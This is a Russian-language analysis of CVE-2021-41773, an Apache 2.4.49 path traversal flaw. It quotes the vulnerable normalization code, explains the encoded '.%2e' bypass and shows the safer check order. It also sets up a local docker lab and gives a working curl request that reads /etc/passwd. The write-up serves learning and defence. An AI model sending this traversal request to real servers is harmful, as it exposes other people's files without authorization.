
PoC и анализ CVE-2021-41773
CVE-2021-41773 — это уязвимость обхода пути, затрагивающая Apache HTTP Server 2.4.49.
Уязвимость позволяет атакующему получать доступ к файлам за пределами целевого каталога при определённых конфигурациях, особенно когда каталоги открываются через директивы Alias, ScriptAlias или другие аналогичные директивы.
Уязвимость существует из-за некорректной обработки нормализации и канонизации пути URL. Apache выполнял проверки безопасности над представлением пути, которое всё ещё могло содержать закодированные символы, что позволяло атакующим обходить обнаружение обхода пути с помощью закодированных последовательностей точек.
Атакующий может сформировать вредоносный URL, содержащий закодированные последовательности обхода пути, например:
.%2e
где:
%2e = .
Следовательно:
.%2e
становится:
..
после декодирования.
Если Apache проверяет закодированное представление до приведения его к канонической форме, проверку обхода пути можно обойти.
Успешная эксплуатация может позволить атакующему читать произвольные файлы из файловой системы.
Пример цели:
/etc/passwd
Уязвимая логика находится в:
server/util.c
внутри:
ap_normalize_path()
Уязвимый код Apache 2.4.49:
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
Уязвимый код пытается обнаружить шаблоны обхода каталога:
../
проверяя наличие последовательных точек:
path[l + 1] == '.'
Однако атакующий может предоставить закодированную последовательность обхода:
/.%2e/
На момент проверки нормализации Apache обрабатывает:
.%2e
вместо:
..
Поскольку:
%2e != .
логика обнаружения обхода пути не распознаёт последовательность как:
../
Затем путь интерпретируется в декодированной форме, что позволяет осуществить обход.
Уязвимое поведение можно представить следующим образом:
HTTP Request
|
v
Path normalization / traversal validation
|
v
URL decoding / canonicalization
|
v
Filesystem access
Решение о безопасности принимается до того, как путь достигнет своей конечной канонической формы.
Более безопасный подход:
HTTP Request
|
v
URL decoding
|
v
Path normalization
|
v
Traversal validation
|
v
Filesystem access
Проверки безопасности всегда должны выполняться над конечным нормализованным представлением.
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773
docker build -t apache-cve-2021-41773 .
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773
Отправьте запрос, содержащий закодированную последовательность обхода пути:
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
Успешная эксплуатация возвращает содержимое:
/etc/passwd
Пример:
root:x:0:0:root:/root:/bin/bash
Ответ 403 Forbidden не обязательно означает, что эксплуатация не удалась.
Во время тестирования Apache может успешно нормализовать:
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
в:
/etc/passwd
но отказать в доступе из-за прав файловой системы или правил авторизации Apache.
Пример:
client denied by server configuration: /etc/passwd
Это указывает на то, что обход пути прошёл успешно, но контроль доступа предотвратил раскрытие файла.
CVE-2021-41773 — это классический пример уязвимости канонизации.
Входные данные, контролируемые пользователем, могут иметь несколько представлений:
.%2e
и:
..
Хотя они выглядят по-разному, они представляют один и тот же компонент пути.
Проверки безопасности должны всегда выполняться после декодирования и нормализации. Проверка закодированного или неоднозначного представления может привести к обходу защиты.